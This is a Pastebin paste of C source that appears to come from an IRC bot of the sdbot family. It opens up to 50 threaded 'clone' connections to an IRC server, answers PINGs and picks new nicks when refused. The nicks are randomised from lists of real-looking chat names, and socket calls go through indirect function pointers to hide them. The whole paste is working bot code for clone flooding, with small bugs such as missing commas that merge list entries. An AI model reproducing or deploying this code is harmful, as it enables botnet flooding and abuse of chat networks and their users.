Advertisement
Guest User

Untitled

a guest
Jun 18th, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include "includes.h"
  2. #include "functions.h"
  3. #include "externs.h"
  4.  
  5. #pragma warning(disable:4244)
  6.  
  7. SOCKET create_sock(char *host, int port)
  8. {
  9.     LPHOSTENT lpHostEntry = NULL;
  10.     SOCKADDR_IN SockAddr;
  11.     SOCKET sock;
  12.     IN_ADDR iaddr;
  13.  
  14.     if ((sock = fsocket( AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
  15.         return INVALID_SOCKET;
  16.  
  17.     memset(&SockAddr, 0, sizeof(SockAddr));
  18.     SockAddr.sin_family = AF_INET;
  19.     SockAddr.sin_port = fhtons((unsigned short)port);
  20.     iaddr.s_addr = finet_addr(host);
  21.  
  22.     if (iaddr.s_addr == INADDR_NONE)
  23.         lpHostEntry = fgethostbyname(host); //hostname
  24.     if (lpHostEntry == NULL && iaddr.s_addr == INADDR_NONE)  //error dns
  25.         return INVALID_SOCKET;
  26.     if (lpHostEntry != NULL)
  27.         SockAddr.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list); //hostname
  28.     else
  29.         SockAddr.sin_addr = iaddr; //ip address
  30.     if (fconnect(sock, (SOCKADDR *) &SockAddr, sizeof(SockAddr)) == SOCKET_ERROR) {
  31.         fclosesocket(sock);
  32.         return INVALID_SOCKET;
  33.     }
  34.  
  35.     return sock;
  36. }
  37.  
  38.  
  39.  const char *nicklist1[] = {
  40.     /* 1st bits of nick */
  41.             "q",
  42.             "w",
  43.             "e",
  44.             "r",
  45.             "t",
  46.             "y",
  47.             "u",
  48.             "i",
  49.             "p",
  50.             "a",
  51.             "s",
  52.             "d",
  53.             "f",
  54.             "g",
  55.             "h",
  56.             "j",
  57.             "k",
  58.             "l",
  59.             "z",
  60.             "x",
  61.             "c",
  62.             "v",
  63.             "b",
  64.             "n",
  65.             "m",
  66.             "Q",
  67.             "W",
  68.             "E",
  69.             "R",
  70.             "T",
  71.             "Y",
  72.             "U",
  73.             "I",
  74.             "O",
  75.             "P",
  76.             "A",
  77.             "S",
  78.             "D",
  79.             "F",
  80.             "G",
  81.             "H",
  82.             "J",
  83.             "K",
  84.             "L",
  85.             "Z",
  86.             "X",
  87.             "C",
  88.             "V",
  89.             "B",
  90.             "N",
  91.             "M",
  92.             "SMARTMIR",
  93.             "farooq",
  94.             "maxxguy",
  95.             "BOBMARLEY",
  96.             "emilya",
  97.             "KRIZHA",
  98.             "Car1nna",
  99.             "swin",
  100.             "male",
  101.             "koko",
  102.             "flexster",
  103.             "ken",
  104.             "Shez",
  105.             "talika",
  106.             "marcy",
  107.             "cme",
  108.             "heval",
  109.             "bunty",
  110.             "janno",
  111.             "rimpy",
  112.             "nastysha",
  113.             "Luisa",
  114.             "troller",
  115.             "manee",
  116.             "kermit",
  117.             "puregold",
  118.             "CoreDump",
  119.             "imra",
  120.             "GirL",
  121.             "CAMEL",
  122.             "reshma",
  123.             "Kencing",
  124.             "THR45H3R5",
  125.             "cansuuuu",
  126.             "kaan38dent",
  127.             "erkan27",
  128.             "hexaaa",
  129.             "berk19",
  130.             "OBeNiBiSeVSe",
  131.             "irmal",
  132.             "misssunday",
  133.             "Tolga34",
  134.             "JERICHO",
  135.             "MARY",
  136.             "AKIN",
  137.             "melekk",
  138.             "trend3",
  139.             "M-E-R-V-E",
  140.             "tekir",
  141.             "venedik34",
  142.             "sevmekmi",
  143.             "SUDENUR",
  144.             "ARZU",
  145.             "haticem",
  146.             "ERNESTO",
  147.             "aslii",
  148.             "PIRAMIT",
  149.             "samyeli21",
  150.             "RETG",
  151.             "blackpearl",
  152.             "pelincik",
  153.             "ahmet",
  154.             "turkyy",
  155.             "ank32m",
  156.             "ZACK",
  157.             "Izmir39m",
  158.             "albina",
  159.             "AYLA-",
  160.             "AtE",
  161.             "ankh",
  162.             "Donjuanm",
  163.             "bogac",
  164.             "alpay34m",
  165.             "CoNGuERoR",
  166.             "DenizliM",
  167.             "Berk19m",
  168.             "devran",
  169.             "arda",
  170.             "keyifliSERT",
  171.             "murat34-m",
  172.             "hakan3",
  173.             "IMIRZALI--",
  174.             "RAMTHA",
  175.             "Emre--",
  176.             "elmaazyok",
  177.             "Esmerkiz",
  178.             "kebikec",
  179.             "FLoRD",
  180.             "holy",
  181.             "MAHINUR",
  182.             "SaDIkaEllesme",
  183.             "aykut1",
  184.             "Kashmira",
  185.             "SeViSeLi",
  186.             "SUGARBOY-",
  187.             "uzgun36",
  188.             "kumul",
  189.             "ADALIM",
  190.             "umut-",
  191.             "ANK-32-M",
  192.             "DJSPACE",
  193.             "Ankar",
  194.             "FeNeRLee",
  195.             "hayran",
  196.             "angelgirl",
  197.             "kapk",
  198.             "Achilles",
  199.             "TEGMEN",
  200.             "kotan",
  201.             "sevda",
  202.             "ERK",
  203.             "alcatras",
  204.             "a44m",
  205.             "birsen",
  206.             "yabanc",
  207.             "devre",
  208.             "erkan",
  209.             "ankM",
  210.             "Adem28",
  211.             "maxsilla",
  212.             "M41IST",
  213.             "AdAMM33",
  214.             "firtina",
  215.             "Ata29",
  216.             "KORAY",
  217.             "akden",
  218.             "izmirlm",
  219.             "ula",
  220.             "NE-HABER",
  221.             "passenger",
  222.             "tropikal",
  223.             "cool30m",
  224.             "cem39",
  225.             "RERPJJ",
  226.             "TEOMAN```",
  227.             "DALLAS43M",
  228.             "prometheus",
  229.             "MaVe{R}icK",
  230.             "ADAMM",
  231.             "cumhur29",
  232.             "WANTEDLOVE",
  233.  };
  234.  
  235.  const char *nicklist2[] = {
  236.     "sex", "lez", "zex", "tree", "bad", "lag", "|tambe|", "|woh|", "-|tot|", "|suck|", "|luck|", "{hub}", "{sex}", "{gens|", "||luvu-f|", "|wiked|", "sick}}", "Q8", "|q8|"
  237.     "a", "b", "c", "d", "e", "f", "g", "h", "i", "_", "j", "k", "l", "m", "n", "o", "p", "q", "r"
  238.     "s", "t", "u", "v", "w", "x", "y", "z", "happy", "rg", "ty", "gf", "rt", "sdf", "ui", "luvy", "trimy", "truck", "muck"
  239.     "c", "z", "g", "s", "q", "BRB", "|bbl", "", "", "_|_", "", "", "", "", "F", "M", "LUVU", "Sad", ""
  240.     "^^^f^", "b", "", "Sleeping", "", "", "Fuck", "Free", "", "", "X", "", "BOY", "GIRL", "gurl", "shit", "aha", "yeah", "muha", "mof0", "mofo", "tot", "lol", "lolo"
  241.     "|a|", "|sex4free|", "|4us|", "{4you}", "|4u|", "5u", "6u"
  242.  };
  243.  
  244.  
  245.  const int nickcnt1 = sizeof nicklist1 / sizeof nicklist1[0];
  246.  const int nickcnt2 = sizeof nicklist2 / sizeof nicklist2[0];
  247.  
  248. clonestr clone_data[50];
  249.  
  250. void clone_send(char *buf)
  251. {
  252.     int c;
  253.     strcat(buf,"\n");
  254.     for(c=0;c<50;c++)
  255.         if (clone_data[c].used == TRUE && clone_data[c].sock > 0) fsend(clone_data[c].sock,buf,strlen(buf),0);
  256. }
  257.  
  258. int clone_read(char * line,SOCKET sock)
  259. {
  260.  
  261.     char *s[8];
  262.     char buf[512];
  263.     char buf2[512];
  264.     //DWORD id;
  265.     int i;
  266.     s[0] = strtok(line, " ");
  267.     for (i = 1; i < 8; i++) s[i] = strtok(NULL, " ");
  268.  
  269.     if (!s[0] && !s[1]) return 1;
  270.     if (strcmp("PING", s[0]) == 0) {
  271.         sprintf(buf,"PONG %s\n",s[1]);
  272.         fsend(sock, buf, strlen(buf), 0);
  273.     }
  274.     else if (strcmp("433",s[1]) == 0 || strcmp("432",s[1]) == 0) {
  275.         memset(buf2,0,sizeof(buf2));
  276.         clone_nick(buf2);
  277.         sprintf(buf,"NICK %s\n",buf2);
  278.         fsend(sock, buf, strlen(buf), 0);
  279.     }
  280.     return 0;
  281. }
  282.  
  283. DWORD WINAPI connect_clone(LPVOID param)
  284. {
  285.     int c = (int)param;
  286.     clone_data[c].used = TRUE;
  287.     if ((clone_data[c].sock = create_sock(clone_data[c].server,clone_data[c].port)) < 1)
  288.     {
  289.         goto end;
  290.     }
  291.     char buf[4096];
  292.     char buf2[4096];
  293.     char buf3[4096];
  294.     char buffer[4096];
  295.     DWORD er;
  296.     memset(buf,0,sizeof(buf));
  297.     clone_nick(buf);
  298.     clone_nick(buf2);
  299.     clone_nick(buf3);
  300.  
  301.     sprintf(buffer,"NICK %s\nUSER %s \"hotmail.com\" \"127.0.0.1\" :%s\n",buf,buf2,buf3);//sdbot uses \r\n thats why it doesnt connect to some servers
  302.    fsend(clone_data[c].sock, buffer, strlen(buffer), 0);
  303.     memset(buffer,0,sizeof(buffer));
  304.     int t;
  305.     int x;
  306.     int len;
  307.     while (1) {
  308.         memset(buffer,0,sizeof(buffer));
  309.         if ((len = frecv(clone_data[c].sock, buffer,sizeof(buffer), 0)) <= 0)
  310.         {
  311.             break;
  312.         }
  313.         for (t=0;t!=len;t++)
  314.         {
  315.             if (buffer[t] == '\r' || buffer[t] == '\n' || x == 4000)
  316.             {
  317.                 if (x == 0) continue;
  318.                 buf[x] = '\0';
  319.                 er = clone_read(buf,clone_data[c].sock);
  320.                 if (er > 0) goto end;
  321.                 memset(buf,0,sizeof(buf));
  322.                 x=0;
  323.             }
  324.             else
  325.             {
  326.                 buf[x] = buffer[t];
  327.                 x++;
  328.             }
  329.  
  330.         }
  331.     }
  332.     end:;
  333.     clone_data[c].used = FALSE;
  334.     if (clone_data[c].sock > 0) fclosesocket(clone_data[c].sock);
  335.     //if (clone_data[c].Handle != NULL) CloseHandle(clone_data[c].Handle);
  336.     return 0;
  337. }
  338.  
  339.  
  340. void load_clones(char * Clone_Server,int Clone_port,int num_clones) {
  341.  
  342.     int i,x;
  343.     DWORD id;
  344.     for (i=0;i<num_clones;i++)
  345.     {
  346.         for (x=0;x<50;x++)
  347.             if (clone_data[x].used == FALSE) break;
  348.         if (x == 49) break;
  349.         strcpy(clone_data[x].server,Clone_Server);
  350.         clone_data[x].port = Clone_port;
  351.         clone_data[x].used = TRUE;
  352.         CreateThread(NULL, 0, &connect_clone, (LPVOID)x, 0, &id);
  353.  
  354.  
  355.     }
  356. }
  357.  
  358.  
  359.  
  360. char * clone_nick(char *strbuf) {
  361.    int n, il, rnd, rndn;
  362.    char nick[20];
  363.    char *t;
  364.    char *spc = "-|`_\\{[]}";
  365.    BOOL chgnick = FALSE;
  366.    
  367.    memset(nick, 0, sizeof nick);
  368.    
  369.    /* create the 1st bit of the nick */
  370.    rnd = rand() / (RAND_MAX + 1.0) * 75;
  371.    if(rnd == 1) {
  372.        rnd = rand() / (RAND_MAX + 1.0) * nickcnt2;
  373.        strcpy(nick, nicklist2[rand() % nickcnt2]);
  374.    } else {
  375.        rnd = rand() / (RAND_MAX + 1.0) * nickcnt1;
  376.        strcpy(nick, nicklist1[rand() % nickcnt1]);
  377.    }
  378.    
  379.    n = strlen(nick);
  380.    il = sizeof nick - 1 - n;
  381.    
  382.    /* rules to decide whether or not we are going to add a 2nd bit to the nick */
  383.    rnd = rand() / (RAND_MAX + 1.0) * 2;
  384.    rndn = rand() / (RAND_MAX + 1.0) * n;
  385.    if(n <= 2)
  386.        chgnick = TRUE;
  387.    else if(n == 3 && rnd == 1)
  388.        chgnick = TRUE;
  389.    else if(rndn == 1)
  390.        chgnick = TRUE;
  391.    
  392.    /* add a second bit to the nick */
  393.    if(chgnick) {
  394.        char nbit[20];
  395.        rnd = rand() / (RAND_MAX + 1.0) * nickcnt2;
  396.        strcpy(nbit, nicklist2[rnd]);
  397.        /* if the two bits of nick are not already separated by a char, randomly add one */
  398.        if(!(t = strchr(spc, nick[n-1]))) {
  399.            if(!(t = strchr(spc, nbit[0]))) {
  400.                rndn = rand() / (RAND_MAX + 1.0) * (n - 1);
  401.                if(rndn == 1) {
  402.                    rnd = rand() / (RAND_MAX + 1.0) * strlen(spc);
  403.                    nick[n] = spc[rnd];
  404.                }
  405.            }
  406.        }
  407.        strncat(nick, nbit, il);
  408.    }
  409.    
  410.    n = strlen(nick);
  411.    
  412.    /* randomly add some stuff at the end of the nick */
  413.    if(!isdigit(nick[n-1])) {
  414.        il = 0;
  415.        if(!(t = strchr(spc, nick[n-1]))) {
  416.            rndn = rand() / (RAND_MAX + 1.0) * (n + 3);
  417.            if(n == 3 || rndn == 1) {
  418.                if(rndn % 2 == 1) {
  419.                    rnd = rand() / (RAND_MAX + 1.0) * strlen(spc);
  420.                    nick[n++] = spc[rnd];
  421.                } else {
  422.                    rnd = rand() / (RAND_MAX + 1.0) * 57;
  423.                    nick[n++] = rnd + 65;
  424.                }
  425.                il++;
  426.                rndn = rand() / (RAND_MAX + 1.0) * 5;
  427.                if(n == 3 || rndn == 1) {
  428.                    if(rndn % 2 == 0) {
  429.                        rnd = rand() / (RAND_MAX + 1.0) * strlen(spc);
  430.                        nick[n++] = spc[rnd];
  431.                    } else {
  432.                        rnd = rand() / (RAND_MAX + 1.0) * 57;
  433.                        nick[n++] = rnd + 65;
  434.                    }
  435.                    il++;
  436.                }
  437.            }
  438.        }
  439.        
  440.        if(n < 6) {
  441.            if(n < 5) rnd = rand() / (RAND_MAX + 1.0) * 2;
  442.            else rnd = rand() / (RAND_MAX + 1.0) * (8 - n);
  443.            if(rnd == 0) {
  444.                rnd = rand() / (RAND_MAX + 1.0) * 10;
  445.                nick[n++] = rnd + 48;
  446.            }
  447.            else if(rnd == 1) {
  448.                rnd = rand() / (RAND_MAX + 1.0) * 57;
  449.                nick[n++] = rnd + 65;
  450.            }
  451.        }
  452.        if(il < 2) {
  453.            rndn = rand() / (RAND_MAX + 1.0) * n;
  454.            if(rndn == 1) {
  455.                rnd = rand() / (RAND_MAX + 1.0) * 10;
  456.                nick[n++] = rnd + 48;
  457.                rndn = rand() / (RAND_MAX + 1.0) * 10;
  458.                if(rndn == 1 && il < 1) {
  459.                    rnd = rand() / (RAND_MAX + 1.0) * 5;
  460.                    nick[n++] = rnd + 48;
  461.                }
  462.            }
  463.        }
  464.    }
  465.    strncpy(strbuf, nick, sizeof nick);
  466.    return strbuf;
  467. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement